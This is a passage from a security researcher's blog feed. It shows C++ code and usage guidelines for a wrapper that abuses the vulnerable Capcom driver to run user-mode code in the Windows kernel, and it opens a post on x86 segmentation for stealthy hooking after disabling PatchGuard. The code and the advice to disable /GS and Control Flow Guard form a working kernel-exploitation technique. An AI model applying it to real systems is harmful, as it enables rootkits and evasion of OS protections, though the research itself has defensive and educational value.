&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CpuInfo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// EBX : 1 &amp;lt;&amp;lt; 7 = SMEP
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;[+] No SMEP support!&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Kh_PassiveCallStubData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x90&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Kh_PassiveCallStubSmepEnabledOffset&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Khk_ExAllocatePool&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;KrCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;fnFreeCall&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;ExAllocatePool&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;CpCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ExecuteInKernel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Khk_AllocatePassiveStub&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Example usage
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Khu_Init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CpCtx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;KrCtx&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;CpCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ExecuteInKernel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;NON_PAGED_LAMBDA&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Khk_CallPassive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;...&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Although this is not thread-safe, it doesn&amp;rsquo;t really matter to us. Now that we can call functions that require interrupts to be enabled, all we need to do is to make sure our code runs fine while interrupts are disabled too. To achieve this we are simply going to use separate code and data sections for anything related to kernel, VirtualLock to make sure the pages won&amp;rsquo;t be paged-out and make sure our code does not access any memory that can be paged out. (You can check the Github repo below for the implementation details and no NtLockVirtualMemory is not no-op.)&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s an example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;iostream&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;lt;assert.h&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;#34;LockedMemory.h&amp;#34;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;#34;KernelRoutines.h&amp;#34;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;#34;CapcomLoader.h&amp;#34;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#include&lt;/span&gt; &lt;span class="cpf"&gt;&amp;#34;KernelHelper.h&amp;#34;&lt;/span&gt;&lt;span class="cp"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Np_LockSections&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;KernelContext&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;KrCtx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Kr_InitContext&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;CapcomContext&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;CpCtx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Cl_InitContext&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CpCtx&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KrCtx&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Khu_Init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CpCtx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;KrCtx&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;[+] Khk_PassiveCall @ %16llx&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Khk_PassiveCallStub&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;NON_PAGED_DATA&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;Format&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;Jearning how to count: %s %s %s %s %d %d...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;NON_PAGED_DATA&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="k"&gt;auto&lt;/span&gt; &lt;span class="n"&gt;DbgPrint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;KrCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;GetProcAddress&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;DbgPrint&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;NON_PAGED_DATA&lt;/span&gt; &lt;span class="k"&gt;static&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;AllocatedMemory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;CpCtx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;ExecuteInKernel&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;NON_PAGED_LAMBDA&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// When you do something that requires interrupts to be enabled, use Khk_PassiveCall; such as a big memory allocation
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;Out&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;Khk_CallPassive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Khk_ExAllocatePool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0ull&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x100000&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Do not use memcpy, memset or ZeroMemory in kernel context; use Np_XXX equivalents
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Np_ZeroMemory&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x100000&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Make sure all the UM data you reference from kernel has NON_PAGED_DATA prefix
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;AllocatedMemory&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Format&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sc"&gt;&amp;#39;L&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Do not call _enable()
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// _enable();
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// When you require a kernel api to be called use KrCtx to get it BEFORE you are in kernel context.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// MmGetSystemRoutineAddress requires IRQL==PASSIVE_LEVEL and is bad engineering on Capcom&amp;#39;s side.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// You can use data without NON_PAGED_DATA prefix in Khk_PassiveCall though. (the strings in this case)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Khk_CallPassive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;DbgPrint&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Format&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;1&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;2&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;3&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;4&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;5ull&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;6ull&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Make sure you specify the sizes for the integers (5ull instead of 5)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="s"&gt;&amp;#34;[+] AllocatedMemory @ %16llx&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;AllocatedMemory&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Cl_FreeContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;CpCtx&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Kr_FreeContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;KrCtx&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Here&amp;rsquo;s the final wrapper: &lt;a href="https://github.com/can1357/safe_capcom"&gt;Github&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Guidelines for safe code:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use Np_ZeroMemory (stobs) instead of ZeroMemory&lt;/li&gt;
&lt;li&gt;Use Np_memcpy (movsb) instead of memcpy&lt;/li&gt;
&lt;li&gt;Use Np_memset (stosb) instead of memset&lt;/li&gt;
&lt;li&gt;Disable Security Checks (/GS-)&lt;/li&gt;
&lt;li&gt;Disable Control Flow Guard&lt;/li&gt;
&lt;li&gt;Don&amp;rsquo;t compile in debug mode&lt;/li&gt;
&lt;li&gt;Don&amp;rsquo;t use any functions that are not NON_PAGED_CODE prefixed (INCLUDING CRT AND STD!)&lt;/li&gt;
&lt;li&gt;Wrap all lambdas with NON_PAGED_LAMBDA&lt;/li&gt;
&lt;li&gt;Make sure all the variables you reference are prefixed NON_PAGED_DATA, unless you are doing so from Khk_CallPassive&lt;/li&gt;
&lt;li&gt;Do not use any ntoskrnl routines with IRQL requirements directly and call them using Khk_CallPassive instead&lt;/li&gt;
&lt;li&gt;Do not enable interrupts&lt;/li&gt;
&lt;li&gt;Get the procedures you need using KrCtx-&amp;gt;GetProcAddress&amp;lt;&amp;gt;(&amp;hellip;) outside of kernel context&lt;/li&gt;
&lt;li&gt;Invoke nt!memcpy from Khk_CallPassive if you need to copy paged memory&lt;/li&gt;
&lt;li&gt;fnFreeCall and fnPassiveCall are convenient wrappers I use, but they require you to specify sizes (ex: 0ull instead of 0) as it will go with the smallest size possible if you do not specify it and you will end up with garbage higher bytes so specify the size&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Splitting Data from Code, Forgotten x86 Feature: Segmentation</title><link>https://blog.can.ac/2018/04/26/splitting-data-from-code-forgotten-x86-feature-segmentation-n/</link><pubDate>Thu, 26 Apr 2018 00:00:00 +0000</pubDate><guid>https://blog.can.ac/2018/04/26/splitting-data-from-code-forgotten-x86-feature-segmentation-n/</guid><description>&lt;p&gt;With the introduction of sTLB with Intel Nehalem, TLB splitting &amp;ndash; once a reliable technique &amp;ndash; became a thing of the past. Those who had to hook user-mode stealthily started looking into hypervisors; specifically EPT violations. However, implementing a hypervisor means implementing bloated, platform dependent code which is not the best way to go when you are trying to ship a software &amp;ndash; especially if you are trying to be stealthy as virtualization is rather simple to detect and hard to hide.&lt;/p&gt;
&lt;p&gt;This is where segmentation comes into play. Although we have been using CS==SS==DS model for a long time, segmentation has been here since 1978, inactive but functional. The value of CS dictates how the instructions get executed and the value of DS dictates how the memory gets read; practically what we wanted from TLB splitting.&lt;/p&gt;
&lt;p&gt;Although we will have to disable Patchguard to use this technique (which is relatively simple), this technique will let us do many interesting things such as spoofing return pointer, hooking functions without changing .text and extensive call instrumentation.&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;We will have to hook a bunch of kernel functions and create additional segments. But before that, let&amp;rsquo;s talk a bit about the way this works fundamentally:&lt;/p&gt;
&lt;p&gt;This technique works basically by creating a shadow module, which we modify instead of the original module. We allocate a memory block equal in size with the original module and then copy its contents 1:1. Although the data for the code is in a different memory region, as IP will not be different we will not have to do any relocations. Then we will clone the GDT entry of our original CS (whether its 0x23 or 0x33) and set the base to &lt;code&gt;Newly Allocated Memory - Real Module Base&lt;/code&gt;, which is as simple as:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;_KGDTENTRY&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
